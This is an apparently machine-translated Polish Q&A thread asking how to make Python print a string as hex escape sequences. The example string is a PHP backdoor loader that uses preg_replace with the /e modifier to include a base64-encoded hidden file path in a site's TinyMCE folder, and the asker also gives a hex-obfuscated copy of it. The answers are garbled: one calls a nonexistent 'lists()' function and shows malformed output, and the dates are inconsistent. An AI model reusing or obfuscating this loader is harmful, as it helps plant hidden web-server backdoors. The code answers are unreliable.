Jak drukować zmienną jako ciąg z Hex z Pythona? Nie konwertować go i nie drukować tak:

<?php @preg_replace("@(.+)@ie","include(base64_decode("\1"));","L2hvbWUvY2lmb29yZy9wdWJsaWNfaHRtbC9wbHVnaW5zL2VkaXRvcnMvdGlueW1jZS90ZW1wbGF0ZXMvLiU4MjhFJTAwMTMlQjhGMyVCQzFCJUIyMkIlNEY1Nw==");

Chcę uzyskać wyjście jako ciąg z Hex (z "" "do" "" z zakodowanymi znakami).

a="""<?php @preg_replace("\x40\50\x2e\53\x29\100\x69\145","\x69\156\x63\154\x75\144\x65\50\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65\50\x22\134\x31\42\x29\51\x3b","\x4c\62\x68\166\x62\127\x55\166\x59\62\x6c\155\x62\62\x39\171\x5a\171\x39\167\x64\127\x4a\163\x61\127\x4e\146\x61\110\x52\164\x62\103\x39\167\x62\110\x56\156\x61\127\x35\172\x4c\62\x56\153\x61\130\x52\166\x63\156\x4d\166\x64\107\x6c\165\x65\127\x31\152\x5a\123\x39\60\x5a\127\x31\167\x62\107\x46\60\x5a\130\x4d\166\x4c\151\x55\64\x4d\152\x68\106\x4a\124\x41\167\x4d\124\x4d\154\x51\152\x68\107\x4d\171\x56\103\x51\172\x46\103\x4a\125\x49\171\x4d\153\x49\154\x4e\105\x59\61\x4e\167\x3d\75");"""

Czy to możliwe? Przepraszamy za pytanie dla dzieci.

0
dmgl 14 sierpień 2014, 01:41

2 odpowiedzi

Najlepsza odpowiedź

Nie jestem pewien, czy w pełni rozumiem, jak chcesz manipulować podanym ciągiem ciąg. Jeśli chcesz, możesz spróbować konwertować ciąg do listy, a następnie konwertować znaki na liście do wartości HEX.

>>> a = '@(.+)@ie'               #part of your provided string
>>> a = lists(a)                 #convert a to a list
>>> a = [hex(ord(i)) for i in a] #hex conversion of each list element
>>> a.insert(0,'')               #include a "\" at the beginning of the string
>>> a = '\\'.join(a)             #join list of hex values separated by "\" in a string
>>> print a
\0x40\0x28\0x2e\0x2b\0x29\0x40\0x69\0x65

Mam nadzieję, że to dla ciebie korzystanie

0
RudyS 13 sierpień 2014, 22:52

Jeśli dodasz r przed znakami cudzysłowu podczas przypisywania łańcucha do zmiennej, przypisuje go jako surowy ciąg.

>>> a = r"\x40"
>>> print a
\x40
-1
Ewharris 13 sierpień 2014, 21:50